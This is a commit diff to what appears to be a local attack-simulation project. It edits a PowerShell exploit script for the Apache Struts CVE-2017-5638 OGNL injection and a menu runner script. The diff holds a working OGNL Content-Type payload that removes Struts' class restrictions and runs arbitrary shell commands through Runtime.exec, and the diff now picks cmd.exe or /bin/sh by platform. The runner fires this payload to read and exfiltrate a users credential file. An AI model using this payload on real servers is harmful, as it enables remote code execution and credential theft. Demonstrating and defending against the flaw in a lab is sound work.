refactor(script): improve command execution for OS compatibility

Author: AIPEAC

simulation/attack-script/exploit_cve_2017_5638.ps1

@@ -226,14 +226,22 @@ if ($DiagLevel -gt 0) {
     #   8. Write output bytes via getOutputStream() + setContentLength +
     #      flushBuffer() to commit the response before JSP rendering.
     #
+    # Select the OS shell that the JVM will spawn.  The JVM runs on the same OS
+    # as the server, so we detect which platform PowerShell is on (they match
+    # in this local-demo scenario) and pick the appropriate shell binary.
+    #   Windows → cmd.exe /c <command>   (no /bin/sh available)
+    #   Linux / macOS → /bin/sh -c <command>
+    $shellExe  = if ($IsWindows) { 'cmd.exe'  } else { '/bin/sh' }
+    $shellFlag = if ($IsWindows) { '/c'       } else { '-c'      }
+
     $escapedCmd = $Command -replace "'", "''"
     $contentType = ".%{" +
         "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])." +
         "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." +
         "(#ognlUtil.getExcludedPackageNames().clear())." +
         "(#ognlUtil.getExcludedClasses().clear())." +
         "(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))." +
-        "(#process=@java.lang.Runtime@getRuntime().exec(new String[]{'/bin/sh','-c','$escapedCmd'}))." +
+        "(#process=@java.lang.Runtime@getRuntime().exec(new String[]{'$shellExe','$shellFlag','$escapedCmd'}))." +
         "(#process.waitFor())." +
         "(#out=new java.lang.String(#process.getInputStream().readAllBytes(),'UTF-8'))." +
         "(#response=@org.apache.struts2.ServletActionContext@getResponse())." +

simulation/attack-script/run.ps1

@@ -18,7 +18,11 @@ While ($true) {
         }
         'a' {
             Write-Host "Running attack script - exfiltrating user credentials...`n"
-            & "$PSScriptRoot/exploit_cve_2017_5638.ps1" -Command "cat data/users.yaml"
+            # Use the OS-native read command so the JVM shell can execute it.
+            #   Windows cmd.exe uses 'type' with backslash paths.
+            #   Linux/macOS sh uses 'cat' with forward-slash paths.
+            $readCmd = if ($IsWindows) { 'type data\users.yaml' } else { 'cat data/users.yaml' }
+            & "$PSScriptRoot/exploit_cve_2017_5638.ps1" -Command $readCmd
         }
         'd' {
             Write-Host "`n=== DIAGNOSTIC: Running levels 1-6 ===" -ForegroundColor Magenta